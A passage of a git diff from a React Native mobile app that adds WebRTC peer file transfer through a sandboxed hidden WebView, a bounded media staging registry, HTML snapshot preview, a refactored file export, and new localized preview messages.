+ { op: "exportFileStatus", workdir, transferId },
+ ]),
},
};
}
diff --git a/apps/mobile/src/device-link/peerFileRegistry.ts b/apps/mobile/src/device-link/peerFileRegistry.ts
new file mode 100644
index 0000000000..40ef9da55c
--- /dev/null
+++ b/apps/mobile/src/device-link/peerFileRegistry.ts
@@ -0,0 +1,72 @@
+import { FILE_PEER_MAX_BYTES } from '@cindy/device-link';
+export interface LocalPeerMedia {
+ ossKey: string;
+ size: number;
+ mimeType: string;
+}
+const localUris = new WeakMap<object, { uri: string; expiresAt: string }>();
+const owned = new Map<
+ string,
+ { size: number; dispose(): void; timer: ReturnType<typeof setTimeout> }
+>();
+let ownedBytes = 0;
+export const peerMediaUri = (value: object) => localUris.get(value)?.uri;
+export const peerMediaExpiry = (value: object) =>
+ localUris.get(value)?.expiresAt;
+export function releasePeerMedia(uri: string) {
+ const entry = owned.get(uri);
+ if (!entry) return;
+ owned.delete(uri);
+ ownedBytes -= entry.size;
+ clearTimeout(entry.timer);
+ try {
+ entry.dispose();
+ } catch {
+ /* The next process sweeps interrupted staging files. */
+ }
+}
+export function clearPeerMedia() {
+ for (const uri of owned.keys()) releasePeerMedia(uri);
+}
+/** Short-lived staging only. Consumers copy into their existing preview/cache ownership. */
+export function recordPeerMedia(
+ value: LocalPeerMedia,
+ uri: string,
+ dispose: () => void,
+) {
+ if (!canStagePeerMedia(value.size)) return false;
+ const timer = setTimeout(() => releasePeerMedia(uri), 5 * 60_000);
+ owned.set(uri, { size: value.size, dispose, timer });
+ ownedBytes += value.size;
+ localUris.set(value, {
+ uri,
+ expiresAt: new Date(Date.now() + 5 * 60_000).toISOString(),
+ });
+ return true;
+}
+type Download = (
+ device: string,
+ url: string,
+ signal?: AbortSignal,
+) => Promise<LocalPeerMedia | null>;
+let download: Download | null = null;
+export function installPeerFileDownload(value: Download) {
+ download = value;
+ return () => {
+ if (download === value) download = null;
+ };
+}
+export async function tryMobilePeerFile(
+ device: string,
+ url: string,
+ signal?: AbortSignal,
+) {
+ return download?.(device, url, signal) ?? null;
+}
+
+/** Budget includes retained files; reserve room for the consumer copy and keep 256 MiB free. */
+export function canStagePeerMedia(size: number, availableBytes = Infinity): boolean {
+ return Number.isSafeInteger(size) && size >= 0 && size <= FILE_PEER_MAX_BYTES &&
+ ownedBytes + size <= 4 * 1024 * 1024 * 1024 &&
+ availableBytes >= 2 * size + 256 * 1024 * 1024;
+}
diff --git a/apps/mobile/src/device-link/peerFileTransport.tsx b/apps/mobile/src/device-link/peerFileTransport.tsx
new file mode 100644
index 0000000000..e52c41ae0a
--- /dev/null
+++ b/apps/mobile/src/device-link/peerFileTransport.tsx
@@ -0,0 +1,368 @@
+import { canStagePeerMedia } from './peerFileRegistry';
+import { createFileReadQueue } from '@cindy/device-link';
+import { useEffect, useRef, useState } from "react";
+import { AppState, View } from "react-native";
+import { WebView } from "react-native-webview";
+import { Directory, File, Paths } from "expo-file-system";
+import { randomUUID } from "expo-crypto";
+import {
+ FILE_PEER_RUNTIME_SOURCE,
+ FILE_PEER_CHANNEL,
+ parseFilePeerFile,
+ resolveDesktopIceServers,
+ REMOTE_DESKTOP_ICE_CONFIG_PATH,
+ REMOTE_DESKTOP_ICE_CONFIG_TIMEOUT_MS,
+} from "@cindy/device-link";
+import { useAuth } from "@/auth/AuthContext";
+import { useDeviceLink } from "./DeviceLinkContext";
+import {
+ DEVICE_LINK_API_BASE_URL,
+ getActiveMobileSessionRealm,
+} from "@/config/env";
+
+import {
+ installPeerFileDownload,
+ recordPeerMedia,
+ clearPeerMedia,
+ type LocalPeerMedia as LocalMedia,
+} from "./peerFileRegistry";
+
+let swept = false;
+const origin = "https://cindy-file-peer.invalid";
+const html = `<!doctype html><meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; connect-src 'none';"><script>
+const pending=new Map();let seq=0;
+function call(type,args){return new Promise((resolve,reject)=>{const id=String(++seq);pending.set(id,{resolve,reject});window.ReactNativeWebView.postMessage(JSON.stringify({type,id,args}));});}
+${FILE_PEER_RUNTIME_SOURCE}
+const runtime=CindyFilePeerRuntime.createFilePeerRuntime({read:()=>Promise.reject(new Error('denied')),write:(...args)=>call('write',args)});
+window.filePeerMessage=async function(m){
+ if(m.type==='writeReply'){const p=pending.get(m.id);if(p){pending.delete(m.id);m.ok?p.resolve():p.reject(new Error('write'));}return;}
+ try{const result=await runtime[m.action](...m.args);window.ReactNativeWebView.postMessage(JSON.stringify({type:'reply',id:m.id,ok:true,result}));}
+ catch{window.ReactNativeWebView.postMessage(JSON.stringify({type:'reply',id:m.id,ok:false}));}
+};
+window.ReactNativeWebView.postMessage(JSON.stringify({type:'ready'}));
+</script>`;
+
+/** A trusted data-only WebView; user preview documents never receive this bridge. */
+export function PeerFileTransport() {
+ const auth = useAuth(),
+ link = useDeviceLink();
+ const view = useRef<WebView>(null);
+ const [foreground, setForeground] = useState(
+ AppState.currentState === "active",
+ );
+ const [ready, setReady] = useState<string | null>(null);
+ const [crashes, setCrashes] = useState(0);
+ const pending = useRef(
+ new Map<
+ string,
+ {
+ resolve(value: unknown): void;
+ reject(error: Error): void;
+ timer: ReturnType<typeof setTimeout>;
+ refresh?(): void;
+ }
+ >(),
+ );
+ const sinks = useRef(
+ new Map<
+ string,
+ { handle: ReturnType<File["open"]>; size: number; offset: number }
+ >(),
+ );
+ const epoch = useRef(0);
+ const account = `${auth.user?.id ?? ""}:${getActiveMobileSessionRealm()}:${auth.isAuthenticated}:${auth.accountGeneration}`;
+ const owner = `${account}:${link.connectionEpoch}`;
+ const viewKey = `${owner}:${crashes}`;
+ const liveView = useRef(viewKey);
+ liveView.current = viewKey;
+ function send(message: unknown) {
+ view.current?.injectJavaScript(
+ `window.filePeerMessage(${JSON.stringify(message)});true;`,
+ );
+ }
+ async function command(action: string, args: unknown[]) {
+ return new Promise<unknown>((resolve, reject) => {
+ const id = randomUUID();
+ let timer = setTimeout(
+ () => {
+ pending.current.delete(id);
+ reject(new Error("FILE_PEER_TIMEOUT"));
+ },
+ action === "receive" ? 60_000 : 15000,
+ );
+ const entry = { resolve, reject, timer, refresh: action === "receive" ? () => {
+ clearTimeout(timer);
+ timer = setTimeout(() => { pending.current.delete(id); reject(new Error("FILE_PEER_TIMEOUT")); }, 60_000);
+ entry.timer = timer;
+ } : undefined };
+ pending.current.set(id, entry);
+ send({ id, action, args });
+ });
+ }
+ useEffect(() => {
+ const subscription = AppState.addEventListener("change", (s) => {
+ setForeground(s === "active");
+ if (s !== "active") setReady(null);
+ });
+ return () => subscription.remove();
+ }, []);
+ // Completed files outlive transport reconnects/backgrounding, but never an account switch.
+ useEffect(() => () => clearPeerMedia(), [account]);
+ useEffect(() => {
+ if (!foreground || ready !== viewKey || !auth.isAuthenticated) return;
+ if (!swept) {
+ swept = true;
+ const dir = new Directory(Paths.cache, "remote-media-share", "file-peer");
+ try {
+ if (dir.exists)
+ for (const entry of dir.list())
+ if (entry instanceof File && /^[a-f0-9-]{36}$/.test(entry.name)) {
+ try {
+ entry.delete();
+ } catch {}
+ }
+ } catch {
+ /* Cache IO must not prevent the OSS fallback. */
+ }
+ }
+ const generation = ++epoch.current;
+ const current = () =>
+ epoch.current === generation &&
+ liveView.current === viewKey &&
+ AppState.currentState === "active";
+ let busy = false;
+ let connection: { id: string; remote: string; device: string } | null =
+ null;
+ let idle: ReturnType<typeof setTimeout> | undefined;
+ const close = () => {
+ clearTimeout(idle);
+ const old = connection;
+ connection = null;
+ if (old && current()) {
+ void command("close", [old.id]).catch(() => {});
+ void link
+ .invoke(old.device, FILE_PEER_CHANNEL, [
+ { action: "close", connection: old.remote },
+ ])
+ .catch(() => {});
+ }
+ };
+ const transfer = async (
+ device: string,
+ url: string,
+ signal?: AbortSignal,
+ ): Promise<LocalMedia | null> => {
+ if (!current() || signal?.aborted) throw new Error("FILE_PEER_CANCELLED");
+ if (busy) return null;
+ busy = true;
+ if (connection && connection.device !== device) close();
+ clearTimeout(idle);
+ const id = connection?.id ?? randomUUID();
+ let remote = connection?.remote,
+ target: File | undefined,
+ complete = false;
+ const cancel = () => {
+ if (current()) void command("close", [id]).catch(() => {});
+ };
+ signal?.addEventListener("abort", cancel, { once: true });
+ const invoke = (request: unknown) =>
+ link.invoke<unknown>(device, FILE_PEER_CHANNEL, [request]);
+ try {
+ await link.openLink(device);
+ if (!remote) {
+ const caps = (await invoke({ action: "caps" })) as {
+ version?: number;
+ };
+ if (!current() || signal?.aborted)
+ throw new Error("FILE_PEER_CANCELLED");
+ if (caps?.version !== 1) return null;
+ const servers = await resolveDesktopIceServers(() =>
+ auth.apiFetch(REMOTE_DESKTOP_ICE_CONFIG_PATH, {
+ baseUrl: DEVICE_LINK_API_BASE_URL,
+ timeoutMs: REMOTE_DESKTOP_ICE_CONFIG_TIMEOUT_MS,
+ cache: "no-store",
+ }),
+ );
+ if (!current() || signal?.aborted)
+ throw new Error("FILE_PEER_CANCELLED");
+ const sdp = await command("offer", [id, servers]);
+ const answer = (await invoke({ action: "offer", sdp })) as {
+ connection?: string;
+ sdp?: string;
+ };
+ if (
+ !answer ||
+ typeof answer.connection !== "string" ||
+ !/^[a-f0-9-]{36}$/.test(answer.connection) ||
+ typeof answer.sdp !== "string" ||
+ answer.sdp.length > 128 * 1024
+ )
+ throw new Error("FILE_PEER_ANSWER");
+ remote = answer.connection;
+ if (!current() || signal?.aborted)
+ throw new Error("FILE_PEER_CLOSED");
+ await command("answer", [id, answer.sdp]);
+ connection = { id, remote, device };
+ }
+ const file = parseFilePeerFile(
+ await invoke({ action: "open", connection: remote, url }),
+ );
+ if (!current() || signal?.aborted) throw new Error("FILE_PEER_CLOSED");
+ if (!canStagePeerMedia(file.size, Paths.availableDiskSpace)) return null;
+ const directory = new Directory(
+ Paths.cache,
+ "remote-media-share",
+ "file-peer",
+ );
+ directory.create({ intermediates: true, idempotent: true });
+ target = new File(directory, randomUUID());
+ target.create();
+ const handle = target.open();
+ sinks.current.set(id, { handle, size: file.size, offset: 0 });
+ try {
+ await command("receive", [id, file.ticket, file.size, id]);
+ if (
+ !current() ||
+ signal?.aborted ||
+ sinks.current.get(id)?.offset !== file.size
+ )
+ throw new Error("FILE_PEER_SIZE");
+ } finally {
+ sinks.current.delete(id);
+ try {
+ handle.close();
+ } catch {}
+ }
+ const result = { ossKey: "", size: file.size, mimeType: file.mimeType };
+ const completed = target;
+ if (
+ !recordPeerMedia(result, target.uri, () => {
+ if (completed.exists) completed.delete();
+ })
+ )
+ return null;
+ target = undefined;
+ complete = true;
+ return result;
+ } catch {
+ if (!current() || signal?.aborted)
+ throw new Error("FILE_PEER_CANCELLED");
+ return null;
+ } finally {
+ busy = false;
+ signal?.removeEventListener("abort", cancel);
+ try {
+ if (target?.exists) target.delete();
+ } catch {
+ /* Swept on next process start. */
+ }
+ if (complete && current()) idle = setTimeout(close, 30_000);
+ else {
+ close();
+ if (current()) void command("close", [id]).catch(() => {});
+ if (remote && current())
+ void invoke({ action: "close", connection: remote }).catch(
+ () => {},
+ );
+ }
+ }
+ };
+ const queueRead = createFileReadQueue();
+ const unregister = installPeerFileDownload((device, url, signal) =>
+ queueRead('connection', () => transfer(device, url, signal), signal));
+ return () => {
+ close();
+ ++epoch.current;
+ unregister();
+ for (const p of pending.current.values()) {
+ clearTimeout(p.timer);
+ p.reject(new Error("FILE_PEER_CLOSED"));
+ }
+ pending.current.clear();
+ for (const sink of sinks.current.values()) {
+ try {
+ sink.handle.close();
+ } catch {}
+ }
+ sinks.current.clear();
+ view.current?.injectJavaScript("if (typeof runtime !== 'undefined') runtime.dispose();true;");
+ };
+ }, [foreground, ready, auth.isAuthenticated, viewKey]);
+ const handleProcessTerminated = () => {
+ if (liveView.current !== viewKey) return;
+ setReady(null);
+ setCrashes((n) => Math.min(2, n + 1));
+ };
+ if (!foreground || !auth.isAuthenticated) return null;
+ return (
+ <View
+ pointerEvents="none"
+ accessible={false}
+ style={{ position: "absolute", width: 1, height: 1, opacity: 0 }}
+ >
+ <WebView
+ ref={view}
+ key={viewKey}
+ source={{ html, baseUrl: origin }}
+ javaScriptEnabled
+ originWhitelist={[origin]}
+ onShouldStartLoadWithRequest={(r) =>
+ r.url === origin || r.url === origin + "/" || r.url === "about:blank"
+ }
+ allowFileAccess={false}
+ allowFileAccessFromFileURLs={false}
+ allowUniversalAccessFromFileURLs={false}
+ setSupportMultipleWindows={false}
+ mixedContentMode="never"
+ mediaCapturePermissionGrantType="deny"
+ incognito
+ onContentProcessDidTerminate={handleProcessTerminated}
+ onRenderProcessGone={handleProcessTerminated}
+ onMessage={(event) => {
+ try {
+ if (liveView.current !== viewKey) return;
+ if (event.nativeEvent.data.length > 140000) return;
+ const m = JSON.parse(event.nativeEvent.data);
+ if (m.type === "ready") {
+ setReady(viewKey);
+ return;
+ }
+ if (m.type === "reply") {
+ const p = pending.current.get(m.id);
+ if (!p) return;
+ pending.current.delete(m.id);
+ clearTimeout(p.timer);
+ if (m.ok === true) p.resolve(m.result);
+ else p.reject(new Error("FILE_PEER_UNAVAILABLE"));
+ } else if (m.type === "write") {
+ let ok = false;
+ try {
+ const [id, offset, base64] = m.args;
+ const sink = sinks.current.get(id);
+ if (
+ !sink ||
+ offset !== sink.offset ||
+ typeof base64 !== "string" ||
+ base64.length > 22000
+ )
+ throw new Error();
+ const binary = atob(base64),
+ bytes = Uint8Array.from(binary, (c) => c.charCodeAt(0));
+ if (
+ bytes.length > 16384 ||
+ sink.offset + bytes.length > sink.size
+ )
+ throw new Error();
+ sink.handle.writeBytes(bytes);
+ sink.offset += bytes.length;
+ for (const operation of pending.current.values()) operation.refresh?.();
+ ok = true;
+ } catch {}
+ send({ type: "writeReply", id: m.id, ok });
+ }
+ } catch {}
+ }}
+ />
+ </View>
+ );
+}
diff --git a/apps/mobile/src/device-link/useMobileMakerTransport.ts b/apps/mobile/src/device-link/useMobileMakerTransport.ts
index 94d3d44b35..90c96ffa6e 100644
--- a/apps/mobile/src/device-link/useMobileMakerTransport.ts
+++ b/apps/mobile/src/device-link/useMobileMakerTransport.ts
@@ -1,14 +1,25 @@
-import { useMemo } from 'react';
-import { useDeviceLink } from './DeviceLinkContext';
+import { useMemo, useRef } from "react";
+import { useAuth } from "@/auth/AuthContext";
+import { useDeviceLink } from "./DeviceLinkContext";
import {
createMobileMakerTransport,
type MobileMakerTransport,
-} from './mobileMakerTransport';
+} from "./mobileMakerTransport";
-export function useMobileMakerTransport(deviceId: string): MobileMakerTransport {
+export function useMobileMakerTransport(
+ deviceId: string,
+): MobileMakerTransport {
const { invoke } = useDeviceLink();
+ const { accountGeneration } = useAuth();
+ const generation = useRef(accountGeneration);
+ generation.current = accountGeneration;
return useMemo(
- () => createMobileMakerTransport({ deviceId, invoke }),
- [deviceId, invoke],
+ () =>
+ createMobileMakerTransport({
+ deviceId,
+ invoke,
+ isCurrent: () => generation.current === accountGeneration,
+ }),
+ [deviceId, invoke, accountGeneration],
);
}
diff --git a/apps/mobile/src/i18n/locales/en/files.json b/apps/mobile/src/i18n/locales/en/files.json
index 750b271ccc..2169a78b2e 100644
--- a/apps/mobile/src/i18n/locales/en/files.json
+++ b/apps/mobile/src/i18n/locales/en/files.json
@@ -99,6 +99,11 @@
"readFailed": "Read failed",
"truncated2mb": "File exceeds 2 MB; showing the first 2 MB only",
"truncatedLines": "Showing the first {{lines}} lines only",
+ "htmlUpdateMobile": "Update Cindy on this phone to preview webpages. You can still view the source.",
+ "htmlUpdateDesktop": "Update Cindy on the connected computer to preview this webpage.",
+ "htmlSnapshotTooLarge": "This folder is too large to preview. Move the webpage and its assets into a smaller folder.",
+ "htmlSnapshotFailed": "Could not load this webpage. Check the connection and try again.",
+ "htmlReload": "Reload webpage",
"fetchingHtmlResources": "Fetching page resources…",
"htmlResourcesMissing": "{{count}} page resource(s) could not be fetched; images or styles may be missing",
"htmlResourcesTruncated": "Too many page resources; only the first {{limit}} were attempted",
diff --git a/apps/mobile/src/i18n/locales/ja/files.json b/apps/mobile/src/i18n/locales/ja/files.json
index c9070d4809..36a7d4f107 100644
--- a/apps/mobile/src/i18n/locales/ja/files.json
+++ b/apps/mobile/src/i18n/locales/ja/files.json
@@ -99,6 +99,11 @@
"readFailed": "読み込みに失敗しました",
"truncated2mb": "ファイルが 2 MB を超えています。先頭 2 MB のみ表示します",
"truncatedLines": "先頭 {{lines}} 行のみ表示します",
+ "htmlUpdateMobile": "ウェブページをプレビューするには、このスマートフォンの Cindy を更新してください。ソースは引き続き表示できます。",
+ "htmlUpdateDesktop": "ウェブページをプレビューするには、接続先のコンピューターの Cindy を更新してください。",
+ "htmlSnapshotTooLarge": "フォルダーが大きすぎます。ウェブページと必要なファイルを小さなフォルダーに移して再試行してください。",
+ "htmlSnapshotFailed": "ウェブページを読み込めませんでした。接続を確認して再試行してください。",
+ "htmlReload": "ウェブページを再読み込み",
"fetchingHtmlResources": "ページリソースを取得中…",
"htmlResourcesMissing": "{{count}} 件のページリソースを取得できませんでした。画像やスタイルが欠ける場合があります",
"htmlResourcesTruncated": "ページリソースが多すぎます。先頭 {{limit}} 件のみ処理しました",
diff --git a/apps/mobile/src/i18n/locales/ko/files.json b/apps/mobile/src/i18n/locales/ko/files.json
index d499b1ba4a..f304e38da5 100644
--- a/apps/mobile/src/i18n/locales/ko/files.json
+++ b/apps/mobile/src/i18n/locales/ko/files.json
@@ -99,6 +99,11 @@
"readFailed": "읽기에 실패했습니다",
"truncated2mb": "파일이 2 MB를 초과합니다. 처음 2 MB만 표시합니다",
"truncatedLines": "처음 {{lines}}줄만 표시합니다",
+ "htmlUpdateMobile": "웹페이지를 미리 보려면 이 휴대폰의 Cindy를 업데이트하세요. 소스는 계속 볼 수 있습니다.",
+ "htmlUpdateDesktop": "웹페이지를 미리 보려면 연결된 컴퓨터의 Cindy를 업데이트하세요.",
+ "htmlSnapshotTooLarge": "폴더가 너무 큽니다. 웹페이지와 리소스를 더 작은 폴더로 옮긴 후 다시 시도하세요.",
+ "htmlSnapshotFailed": "웹페이지를 불러오지 못했습니다. 연결을 확인하고 다시 시도하세요.",
+ "htmlReload": "웹페이지 새로고침",
"fetchingHtmlResources": "페이지 리소스를 가져오는 중…",
"htmlResourcesMissing": "페이지 리소스 {{count}}개를 가져오지 못했습니다. 이미지나 스타일이 누락될 수 있습니다",
"htmlResourcesTruncated": "페이지 리소스가 너무 많습니다. 처음 {{limit}}개만 처리했습니다",
diff --git a/apps/mobile/src/i18n/locales/zh-CN/files.json b/apps/mobile/src/i18n/locales/zh-CN/files.json
index 1c8f1a65b1..0eee13e960 100644
--- a/apps/mobile/src/i18n/locales/zh-CN/files.json
+++ b/apps/mobile/src/i18n/locales/zh-CN/files.json
@@ -99,6 +99,11 @@
"readFailed": "读取失败",
"truncated2mb": "文件超过 2 MB,仅显示前 2 MB 内容",
"truncatedLines": "仅显示前 {{lines}} 行",
+ "htmlUpdateMobile": "请更新手机版 Cindy 后预览网页,仍可切换到源码查看。",
+ "htmlUpdateDesktop": "请更新所连接电脑上的 Cindy 后预览网页。",
+ "htmlSnapshotTooLarge": "文件夹过大,请将网页及其资源放到较小的文件夹后重试。",
+ "htmlSnapshotFailed": "网页加载失败,请检查连接后重试。",
+ "htmlReload": "重新加载网页",
"fetchingHtmlResources": "正在取回页面资源…",
"htmlResourcesMissing": "{{count}} 项页面资源没取到,可能缺图或缺样式",
"htmlResourcesTruncated": "页面资源过多,只处理了前 {{limit}} 项",
diff --git a/apps/mobile/src/i18n/locales/zh-TW/files.json b/apps/mobile/src/i18n/locales/zh-TW/files.json
index e19e4edcb0..86980df0e6 100644
--- a/apps/mobile/src/i18n/locales/zh-TW/files.json
+++ b/apps/mobile/src/i18n/locales/zh-TW/files.json
@@ -99,6 +99,11 @@
"readFailed": "讀取失敗",
"truncated2mb": "檔案超過 2 MB,僅顯示前 2 MB 內容",
"truncatedLines": "僅顯示前 {{lines}} 行",
+ "htmlUpdateMobile": "請更新手機版 Cindy 後預覽網頁,仍可切換到原始碼查看。",
+ "htmlUpdateDesktop": "請更新所連接電腦上的 Cindy 後預覽網頁。",
+ "htmlSnapshotTooLarge": "資料夾過大,請將網頁及其資源放到較小的資料夾後重試。",
+ "htmlSnapshotFailed": "網頁載入失敗,請檢查連線後重試。",
+ "htmlReload": "重新載入網頁",
"fetchingHtmlResources": "正在取回頁面資源…",
"htmlResourcesMissing": "{{count}} 項頁面資源沒取到,可能缺圖或缺樣式",
"htmlResourcesTruncated": "頁面資源過多,只處理了前 {{limit}} 項",
diff --git a/apps/mobile/src/session/HtmlFileReader.tsx b/apps/mobile/src/session/HtmlFileReader.tsx
index 99f78e0517..48efa2c20a 100644
--- a/apps/mobile/src/session/HtmlFileReader.tsx
+++ b/apps/mobile/src/session/HtmlFileReader.tsx
@@ -38,8 +38,32 @@ import { StyleSheet, View } from 'react-native';
import { WebView } from 'react-native-webview';
import type { ShouldStartLoadRequest } from 'react-native-webview/lib/WebViewTypes';
-import { interceptHtmlNavigation } from '@/session/htmlNavigationPolicy';
+import { interceptHtmlNavigation, interceptSnapshotNavigation } from '@/session/htmlNavigationPolicy';
import { withHtmlPreviewCsp } from '@/session/htmlPreviewCsp';
+import type { MobileHtmlPreview } from '@/session/mobileHtmlPreview';
+
+/** The server serves only the downloaded manifest; every HTML has the same CSP and device guard. */
+export function HtmlSnapshotReader({ preview, onError }: { preview: MobileHtmlPreview; onError(): void }) {
+ const source = useMemo(() => ({ uri: preview.url }), [preview.url]);
+ return <WebView
+ testID="filePreview.htmlRendered"
+ source={source}
+ originWhitelist={['*']}
+ onShouldStartLoadWithRequest={(request) => interceptSnapshotNavigation(request.url, preview.url, preview.documents, preview.onDemand)}
+ setSupportMultipleWindows={false}
+ allowFileAccess={false}
+ mediaCapturePermissionGrantType="deny"
+ onError={onError}
+ onContentProcessDidTerminate={onError}
+ onRenderProcessGone={onError}
+ onHttpError={(event) => {
+ // Resource failures stay in the page; they must not replace an already loaded document.
+ if (interceptSnapshotNavigation(event.nativeEvent.url, preview.url, preview.documents, preview.onDemand)) onError();
+ }}
+ incognito
+ style={styles.fill}
+ />;
+}
export function HtmlFileReader({ html, testID }: { html: string; testID?: string }) {
// CSP 注入放在**渲染载体这一层**,而不是取件那一层:任何进到这个 WebView 的
diff --git a/apps/mobile/src/session/chatPathCandidate.ts b/apps/mobile/src/session/chatPathCandidate.ts
index 3c91d11345..a694ba2629 100644
--- a/apps/mobile/src/session/chatPathCandidate.ts
+++ b/apps/mobile/src/session/chatPathCandidate.ts
@@ -251,7 +251,18 @@ export function classifyInlineCodePathCandidate(text: string): ChatPathCandidate
* looksLikeFilePath 必然为真 → 恒非歧义,能力不受影响(有用例钉住)。
*/
export function classifyChatPathLinkTarget(url: string): ChatPathCandidate | null {
- const raw = url.trim();
+ let raw = url.trim();
+ if (/^xdt-file:\/\//i.test(raw)) {
+ try {
+ // Parse triple-slash spelling directly: Electron's standard-scheme URL parser can
+ // incorrectly treat the first path component as a hostname.
+ raw = /^xdt-file:\/\/\//i.test(raw)
+ ? decodeURIComponent(raw.slice('xdt-file://'.length).split(/[?#]/, 1)[0])
+ : new URL(raw).searchParams.get('path') ?? '';
+ if (/^\/[A-Za-z]:[\\/]/.test(raw)) raw = raw.slice(1);
+ if (!isAbsolutePathShape(raw) || /[\0\r\n]/.test(raw)) return null;
+ } catch { return null; }
+ }
if (!raw || raw.includes('\n')) return null;
if (/^https?:\/\//i.test(raw)) return null;
if (raw.startsWith('#')) return null;
diff --git a/apps/mobile/src/session/fileBrowserCache.ts b/apps/mobile/src/session/fileBrowserCache.ts
index 6447a29682..f9a3a9d01d 100644
Binary files a/apps/mobile/src/session/fileBrowserCache.ts and b/apps/mobile/src/session/fileBrowserCache.ts differ
diff --git a/apps/mobile/src/session/fileBrowserExport.ts b/apps/mobile/src/session/fileBrowserExport.ts
index 74304b7ac1..bf0f40588f 100644
--- a/apps/mobile/src/session/fileBrowserExport.ts
+++ b/apps/mobile/src/session/fileBrowserExport.ts
@@ -1,23 +1,24 @@
/**
- * 远程文件两段式导出 → presign 下载地址(浏览页长按「导出/分享」与预览页
- * 分享/下载共用)。结果按 path+mtime 缓存到 presign 过期,同一文件重看零导出;
- * 起始与每次状态轮询都走瞬断重试;isCancelled(页面卸载)时中止轮询。
+ * 浏览页与预览页共用文件读取接口,转换为分享/下载地址。
+ * 按账号、设备、path 和 mtime 缓存到地址过期;传输选择与瞬断重试由文件接口负责。
*/
-import { i18n } from '@/i18n';
-import { withTransientRemoteRetry } from '@/device-link/remoteRetry';
-import type { MobileMakerTransport } from '@/device-link/mobileMakerTransport';
-import { getCachedExportUrl, storeCachedExportUrl } from '@/session/fileBrowserCache';
-import type { MobileRemoteMediaPresignResult } from '@/session/remoteMedia';
-
-const EXPORT_POLL_INTERVAL_MS = 700;
-const EXPORT_TIMEOUT_MS = 120_000;
+import { i18n } from "@/i18n";
+import type { MobileMakerTransport } from "@/device-link/mobileMakerTransport";
+import {
+ getCachedExportUrl,
+ storeCachedExportUrl,
+} from "@/session/fileBrowserCache";
+import type { MobileRemoteMediaPresignResult } from "@/session/remoteMedia";
+import { peerMediaUri, peerMediaExpiry } from "@/device-link/peerFileRegistry";
export interface ExportRemoteFileDeps {
- maker: Pick<MobileMakerTransport, 'fileBrowser'>;
+ /** Retained preview URLs must not reuse short-lived full-file peer results. */
+ stream?: boolean;
+ maker: Pick<MobileMakerTransport, "fileBrowser">;
deviceId: string;
openLink: (deviceId: string) => Promise<unknown>;
presignGet: (ossKey: string) => Promise<MobileRemoteMediaPresignResult>;
- /** 取消信号(如页面卸载):轮询每轮检查,true 即中止,不再空转最长 2 分钟。 */
+ /** 取消信号(如页面卸载),转成文件读取接口的 AbortSignal。 */
isCancelled?: () => boolean;
}
@@ -27,30 +28,54 @@ export async function exportRemoteFileToUrl(
relPath: string,
mtimeMs: number,
): Promise<string> {
- const cached = getCachedExportUrl(deps.deviceId, workdir, relPath, mtimeMs);
+ const ownerScope = deps.maker.fileBrowser.cacheScope ?? deps.deviceId;
+ const scope = JSON.stringify([ownerScope, deps.stream === true ? "stream" : "file"]);
+ const cached = getCachedExportUrl(scope, workdir, relPath, mtimeMs);
if (cached) return cached;
- const start = await withTransientRemoteRetry(async () => {
- await deps.openLink(deps.deviceId);
- return deps.maker.fileBrowser.exportFileStart(workdir, relPath);
- });
- if (!start.ok) throw new Error(start.message ?? i18n.t('files.export.exportFailed'));
- const deadline = Date.now() + EXPORT_TIMEOUT_MS;
- for (;;) {
- if (deps.isCancelled?.()) throw new Error(i18n.t('files.export.leftPage'));
- // 单次状态查询同样走瞬断重试:被控端导出任务仍在跑,轮询窗口内一次
- // 掉线/超时不应让整个导出失败。
- const status = await withTransientRemoteRetry(async () => {
- await deps.openLink(deps.deviceId);
- return deps.maker.fileBrowser.exportFileStatus(workdir, start.transferId);
- });
- if (!status.ok) throw new Error(status.message ?? i18n.t('files.export.exportFailed'));
- if (status.state === 'done' && status.key) {
- const presign = await deps.presignGet(status.key);
- storeCachedExportUrl(deps.deviceId, workdir, relPath, mtimeMs, presign.getUrl, presign.expiresAt);
- return presign.getUrl;
+ const abort = new AbortController();
+ const check = () => {
+ if (deps.isCancelled?.()) abort.abort();
+ };
+ check();
+ const timer = setInterval(check, 100);
+ try {
+ if (abort.signal.aborted) throw new Error(i18n.t("files.export.leftPage"));
+ const result = await deps.maker.fileBrowser.readBytes(
+ workdir,
+ relPath,
+ abort.signal,
+ () => deps.openLink(deps.deviceId),
+ { stream: deps.stream === true },
+ );
+ check();
+ if (abort.signal.aborted) throw new Error(i18n.t("files.export.leftPage"));
+ const local = peerMediaUri(result);
+ if (local) {
+ storeCachedExportUrl(
+ scope,
+ workdir,
+ relPath,
+ mtimeMs,
+ local,
+ peerMediaExpiry(result)!,
+ );
+ return local;
}
- if (status.state === 'error') throw new Error(status.message ?? i18n.t('files.export.exportFailed'));
- if (Date.now() > deadline) throw new Error(i18n.t('files.export.exportTimeout'));
- await new Promise<void>((resolve) => setTimeout(resolve, EXPORT_POLL_INTERVAL_MS));
+ if (result.inlineBase64 !== undefined)
+ return `data:${result.mimeType};base64,${result.inlineBase64}`;
+ const signed = await deps.presignGet(result.ossKey);
+ check();
+ if (abort.signal.aborted) throw new Error(i18n.t("files.export.leftPage"));
+ storeCachedExportUrl(
+ scope,
+ workdir,
+ relPath,
+ mtimeMs,
+ signed.getUrl,
+ signed.expiresAt,
+ );
+ return signed.getUrl;
+ } finally {
+ clearInterval(timer);
}
}
diff --git a/apps/mobile/src/session/htmlDirectorySnapshot.ts b/apps/mobile/src/session/htmlDirectorySnapshot.ts
new file mode 100644
index 0000000000..1171d41591
--- /dev/null
+++ b/apps/mobile/src/session/htmlDirectorySnapshot.ts
@@ -0,0 +1,75 @@
+/** Bounded, complete directory snapshot. No native or React dependency. */
+export const HTML_SNAPSHOT_MAX_ENTRIES = 2000;
+export const HTML_SNAPSHOT_MAX_BYTES = 100 * 1024 * 1024;
+
+/** RN's AbortController polyfill does not implement AbortSignal.throwIfAborted. */
+export function assertHtmlSnapshotActive(signal: AbortSignal): void {
+ if (signal.aborted) throw new Error('PREVIEW_CANCELLED');
+}
+
+export interface HtmlSnapshotEntry {
+ name: string;
+ relPath: string;
+ type: 'file' | 'directory';
+ size: number;
+}
+
+export function htmlSnapshotLocation(absPath: string) {
+ const windows = /^[A-Za-z]:[\\/]|^\\\\/.test(absPath);
+ const path = windows ? absPath.replace(/\\/g, '/') : absPath;
+ const split = path.lastIndexOf('/');
+ if ((!path.startsWith('/') && !/^[A-Za-z]:\//.test(path)) || split < 0
+ || !/\.html?$/i.test(path) || /[\0\r\n]/.test(path)) throw new Error('BAD_ARGS');
+ const root = path.slice(0, split) || '/';
